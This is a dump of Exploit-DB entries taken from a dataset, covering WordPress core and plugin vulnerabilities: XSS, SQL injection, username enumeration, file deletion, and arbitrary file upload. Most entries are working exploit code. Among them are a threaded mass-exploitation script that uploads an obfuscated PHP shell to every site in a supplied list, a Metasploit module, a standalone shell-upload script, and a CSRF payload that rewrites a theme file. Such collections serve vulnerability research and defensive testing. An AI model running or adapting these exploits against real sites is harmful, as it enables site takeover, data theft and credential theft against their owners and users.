deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29754
Description: WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-19
Author: Alexander Concha

Exploit:
source: https://www.securityfocus.com/bid/23027/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">	
<head>
	<title>Wordpress XSS PoC</title>
</head>
<body id="main">

	<form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
		<p>
			<textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
		</p>
		<p>
			<input type="hidden" name="action" value="update" />
			<input type="hidden" name="file" value="wp-content/themes/default/index.php" />		
		</p>
	</form>	
	<script type="text/javascript">
	// <![CDATA[
		document.forms[0].submit();
	// ]]>
	</script>
</body>
</html>
Exploit-DB #41497
Description: WordPress Core < 4.7.1 - Username Enumeration
Type: webapps
Platform: php
Date: 2017-03-03
Author: Dctor

Exploit:
#!usr/bin/php
<?php

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');


$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
	echo "*-----------------------------*\n";
foreach($json as $users){
	echo "[*] ID :  |" .$users['id']     ."|\n";
	echo "[*] Name: |" .$users['name']   ."|\n";
	echo "[*] User :|" .$users['slug']   ."|\n";
	echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}


?>
Exploit-DB #44949
Description: WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2018-06-27
Author: VulnSpy

Exploit:
# Exploit Title: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability
# Date: 2018-06-27
# Exploit Author: VulnSpy
# Vendor Homepage: http://www.wordpress.org
# Software Link: http://www.wordpress.org/download
# Version: <= 4.9.6
# Tested on: php7 mysql5
# CVE :

Step 1:

```
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'
```

Step 2:

```
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'
```

REF:
  Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability Exploit - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
  WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Exploit-DB #51899
Description: WordPress File Upload Plugin < 4.23.3 - Stored XSS
Type: webapps
Platform: php
Date: 2024-03-18
Author: Faiyaz Ahmad

Exploit:
Exploit Title: WordPress File Upload < 4.23.3 Stored XSS (CVE 2023-4811)
Date: 18 December 2023
Exploit Author: Faiyaz Ahmad
Vendor Homepage: https://wordpress.com/
Version: 4.23.3
CVE : CVE 2023-4811

Proof Of Concept:

1. Login to the wordpress account

2. Add the following shortcode to a post in "File Upload Plugin":

[wordpress_file_upload redirect="true" redirectlink="*javascript:alert(1)*"]

3. Upload any file on the resulting post.
4. After the upload completes, you will see the XSS alert in the browser.
Exploit-DB #10090
Description: WordPress MU 1.2.2 < 1.3.1 - '/wp-includes/wpmu-functions.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-10
Author: Juan Galiana Lara

Exploit:
An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following proof of concept is available: 

curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html
Exploit-DB #32444
Description: WordPress MU 1.2/1.3 - '/wp-admin/wpmu-blogs.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-29
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/31482/info

WordPress MU is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to WordPress MU 2.6 are vulnerable.

http://www.example.com/path/wp-admin/wpmu-blogs.php?action=blogs&s=%27[XSS]

http://www.example.com/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=%27[XSS]
Exploit-DB #5066
Description: WordPress MU < 1.3.2 - 'active_plugins' Code Execution
Type: webapps
Platform: php
Date: 2008-02-05
Author: Alexander Concha

Exploit:
<?php
/*
WordPress [MU] blog's options overwrite

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once './class-snoopy.php';

// Fix Snoopy
class SnoopyExt extends Snoopy {
	function _prepare_post_body($formvars, $formfiles) {
		if ( is_string($formvars) ) {
			return $formvars;
		}
		return parent::_prepare_post_body($formvars, $formfiles);
	}
}

set_time_limit( 0 );

// Any user with 'manage_options' and 'upload_files' capabilities
$user = 'user';
$pass = '1234';
$blog_url = 'http://localhost.localdomain/mu/';
$remote_file = ''; // relative path to wp-content
$local_file = ''; // the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy->maxredirs = 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));

$snoopy->setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
	// Upload a new file
	$snoopy->_submit_type = 'image/gif';
	$snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());

	if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {
		$remote_file = basename($match[1]);
	}
}
if ( empty($remote_file) ) die('Exploit failed...');

// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");

if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) {
	$remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
}
if ( empty($remote_file) ) die('Exploit failed...');

// It asumes that file uploads are stored within wp-content 
$remote_file = '../' . ltrim($remote_file, '/');

$snoopy->fetch("{$blog_url}wp-admin/plugins.php");

// Recover previous active plugins
$active_plugins = array();
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) {
	foreach ($matches[0] as $plugin) {
		if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )
			$active_plugins[] = urldecode($match[1]);
	}
	print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");

if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) {

	// Finally update active_plugins
	$snoopy->set_submit_normal();
	$snoopy->submit("{$blog_url}wp-admin/options.php",
		array(
			'active_plugins' => $active_plugins,
			'_wpnonce' => $match[1],
			'action' => 'update',
			'page_options' => 'active_plugins',
		));
}

function get_contents() {
	global $local_file;

	return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';
}
?>

# milw0rm.com [2008-02-05]
Exploit-DB #51959
Description: Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Milad karimi

Exploit:
# Exploit Title: Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated)
# Date: 2024-02-25
# Author: Milad Karimi (Ex3ptionaL)
# Category : webapps
# Tested on: windows 10 , firefox

import sys , requests, re , json
from multiprocessing.dummy import Pool
from colorama import Fore
from colorama import init
init(autoreset=True)

headers = {'Connection': 'keep-alive', 'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozlila/5.0 (Linux;
Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like
Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36', 'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate', 'Accept-Language':
'en-US,en;q=0.9,fr;q=0.8', 'referer': 'www.google.com'}

uploader = """
GIF89a
<?php ?>
<!DOCTYPE html>
<html>
<head>
  <title>Resultz</title>
</head>
<body><h1>Uploader</h1>
  <form enctype='multipart/form-data' action='' method='POST'>
    <p>Uploaded</p>
    <input type='file' name='uploaded_file'></input><br />
    <input type='submit' value='Upload'></input>
  </form>
</body>
</html>
<?PHP
if(!empty($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')])){$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=base64_decode('Li8=');$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485.basename($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('bmFtZQ==')]);if(move_uploaded_file($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('dG1wX25hbWU=')],$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485)){echo
base64_decode('VGhlIGZpbGUg').basename($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('bmFtZQ==')]).base64_decode('IGhhcyBiZWVuIHVwbG9hZGVk');}else{echo
base64_decode('VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZSwgcGxlYXNlIHRyeSBhZ2FpbiE=');}}?>
"""
requests.urllib3.disable_warnings()

def Exploit(Domain):
    try:
        if 'http' in Domain:
          Domain = Domain
        else:
          Domain = 'http://'+Domain
        myup = {'': ('db.php', uploader)}
        req = requests.post(Domain +
'/wp-admin/admin-ajax.php?action=wps_membership_csv_file_upload',
files=myup, headers=headers,verify=False, timeout=10).text
        req1 = requests.get(Domain +
'/wp-content/uploads/mfw-activity-logger/csv-uploads/db.php')
        if 'Ex3ptionaL' in req1:
          print (fg+'[+] '+ Domain + ' --> Shell Uploaded')
          open('Shellz.txt', 'a').write(Domain +
'/wp-content/uploads/mfw-activity-logger/csv-uploads/db.php' + '\n')
        else:
          print (fr+'[+] '+ Domain + '{}{} --> Not Vulnerability')
    except:
        print(fr+' -| ' + Domain + ' --> {} [Failed]')

target = open(input(fm+"Site List: "), "r").read().splitlines()
mp = Pool(int(input(fm+"Threads: ")))
mp.map(Exploit, target)
mp.close()
mp.join()
Exploit-DB #35430
Description: WordPress Plugin 1 Flash Gallery 0.2.5 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2011-03-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46783/info

1 Flash Gallery is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

1 Flash Gallery 0.2.5 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/1-flash-gallery/folder.php?type=%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

<form action="http://[host]/wp-content/plugins/1-flash-gallery/massedit_album.php" method="post" name="main" >
<input type="hidden" name="album_id" value="1" />
<input type="hidden" name="images" value="1" />
<input type="hidden" name="gall_id" value="SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
Exploit-DB #17801
Description: WordPress Plugin 1 Flash Gallery 1.30 < 1.5.7a - Arbitrary File Upload (Metasploit)
Type: webapps
Platform: php
Date: 2011-09-08
Author: Ben Schmidt

Exploit:
# Exploit Title: 1 Flash Gallery Wordpress Plugin Arbitrary File Upload Exploit
# # Google Dork:  inurl:"wp-content/plugins/1-flash-gallery"
# # Date: 09/06/2011
# # Author: Ben Schmidt
# # Software Link: http://downloads.wordpress.org/plugin/1-flash-gallery.1.5.6.zip
# # Version: v1.30 to v1.5.7a (tested on 1.5.6 and 1.5.7 prior to patch)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '1 Flash Gallery Wordpress Plugin File Upload Exploit',
			'Description'    => %q{
            This module exploits an arbitrary file upload vulnerability in
            the '1 Flash Gallery' Wordpress plugin.
			},
			'Author'         => [ 'Ben Schmidt'],
			'License'        => MSF_LICENSE,
			'References'     => ["http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					# Arbitrary big number. The payload gets sent as an HTTP
					# POST request, so it's possible this might be smaller (maybe?)
                    # but very unlikely.
					'Space'       => 262144, # 256k
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0,
            'DisclosureDate' => 'Sept 6, 2011'
            ))

		register_options([
				OptString.new('URI', [true, "Path to Wordpress", "/"]),
			], self.class)
	end

    def exploit
		boundary = rand_text_alphanumeric(6)
        fn = rand_text_alphanumeric(8)
		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
		data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
		data << payload.encoded
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => datastore['URI'] + "/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
			}
		}, 25)

        if (res)
			print_status("Successfully uploaded shell.")
            shell_path = res.body.split("_")[0]
            print_status("Trying to access shell at #{shell_path}...")
            res = send_request_raw({
                'uri'	  => datastore['URI'] + shell_path,
                'method'  => 'GET',
            }, 0.01)

		else
			print_error("Error uploading shell")
		end

        handler
    end
end
Exploit-DB #36382
Description: WordPress Plugin 1-jquery-photo-gallery-Slideshow-flash 1.01 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-30
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/50860/info

1-jquery-photo-gallery-slideshow-flash plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

1-jquery-photo-gallery-slideshow-flash 1.01 is vulnerable; other versions may also be affected.

UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. 

http://www.example.com/[path]/wp-content/plugins/1-jquery-photo-gallery-slideshow-flash/wp-1pluginjquery.php?page=[xss]
Exploit-DB #37178
Description: WordPress Plugin 2 Click Social Media Buttons 0.32.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53521/info

The 2 Click Social Media Buttons plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

2 Click Social Media Buttons 0.32.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/pinterest.php?pinterest-url=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&pinterest-description=1

http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%22%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #51021
Description: Wordpress Plugin 3dady real-time web stats 1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-09-23
Author: UnD3sc0n0c1d0

Exploit:
# Exploit Title: Wordpress Plugin 3dady real-time web stats 1.0 - Stored Cross Site Scripting (XSS)
# Google Dork: inurl:/wp-content/plugins/3dady-real-time-web-stats/
# Date: 2022-08-24
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://profiles.wordpress.org/3dady/
# Software Link: https://downloads.wordpress.org/plugin/3dady-real-time-web-stats.zip
# Category: Web Application
# Version: 1.0
# Tested on: Debian / WordPress 6.0.1
# CVE : N/A

# 1. Technical Description:
The 3dady real-time web stats WordPress plugin is vulnerable to stored XSS. Specifically in the dady_input_text 
and dady2_input_text fields because the user's input is not properly sanitized which allows the insertion of 
JavaScript code that can exploit the vulnerability.
  
# 2. Proof of Concept (PoC):
  a. Install and activate version 1.0 of the plugin.
  b. Go to the plugin options panel (http://[TARGET]/wp-admin/admin.php?page=3dady).
  c. Insert the following payload in any of the visible fields (dady_input_text or dady2_input_text):
		" autofocus onfocus=alert(/XSS/)>
  d. Save the changes and immediately the popup window demonstrating the vulnerability (PoC) will be executed.

  Note: This change will be permanent until you modify the edited fields.
Exploit-DB #50321
Description: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-09-23
Author: spacehen

Exploit:
# Exploit Title: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/3dprint-lite/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/3dprint-lite/
# Version: <= 1.9.1.4
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("3DPrint Lite <= 1.9.1.4 - Arbitrary File Upload")
	print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text
	if ("jsonrpc" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = 'p3dlite_handle_upload'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'file' : open(file_path)}
	print("Uploading Shell...");
	response = requests.post(uri, files=files)
	file_name = path.basename(file_path)
	if(file_name in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + "wp-content/uploads/p3d/" + file_name);
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main();
Exploit-DB #40941
Description: WordPress Plugin 404 Redirection Manager 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-12-19
Author: Ahmed Sherif

Exploit:
# Exploit Title: Unauthenticated SQL injeciton in 404 plugin for Wordpress v1.0
# Google Dork: N/A
# Date: 17/12/2016
# Exploit Author: Ahmed Sherif (Deloitte)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/404-redirection-manager/
# Version: V1.0
# Tested on: Linux Mint
# CVE : N/A


The plugin does not properly sanitize the user input. Hence, it was
vulnerable to SQL injection.

The vulnerable page is : custom/lib/cf.SR_redirect_manager.class.php on line 356

[#] Proof of Concept (PoC):


GET /path-to-wordpress/%27%29%20AND%20%28SELECT%20%2a%20FROM%20%28SELECT%28SLEEP%285-%28IF%28%27a%27%3D%27a%27%2C0%2C5%29%29%29%29%29FPYG%29%20AND%20%28%27SQL%27%3D%27SQL
HTTP/1.1
Host: localhost

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=[PII_REDACTED]
Connection: close*
Exploit-DB #40732
Description: WordPress Plugin 404 to 301 2.2.8 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-11-08
Author: Alyssa Milburn

Exploit:
Source: https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_404_to_301_wordpress_plugin.html

Stored Cross-Site Scripting vulnerability in 404 to 301 WordPress Plugin

Abstract

A stored Cross-Site Scripting vulnerability was found in the 404 to 301 WordPress Plugin. This issue can be exploited by an anonymous user and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20[PII_REDACTED]

Tested versions

This issue was successfully tested on 404 to 301 WordPress Plugin version 2.2.8.

Fix

This issue is resolved in 404 to 301 WordPress Plugin version 2.3.1.

Introduction

The 404 to 301 WordPress Plugin automatically redirects, logs and notifies all 404 page errors to any page using 301 redirect for SEO. A Stored Cross-Site Scripting vulnerability exists in the 404-to-301 WordPress plugin.

Details

The vulnerability exists in the file admin/class-404-to-301-logs.php, which fails to correctly escape user-controlled strings which are output in HTML tables containing logs shown to site administrators, such as the Referer (ref) and User-Agent (ua) fields.

In order to exploit this issue, after an attack attempt has been made, an administrator must view the logs (via the WordPress administration console) provided by the plugin, by clicking '404 Error Logs'.

Proof of concept

Submit an HTTP request to a non-existent URL (to trigger the 404 handler) containing a header such as one of the following:

Referer: "<iframe src=/></iframe>
User-Agent: "<script>alert(/hi/);</script>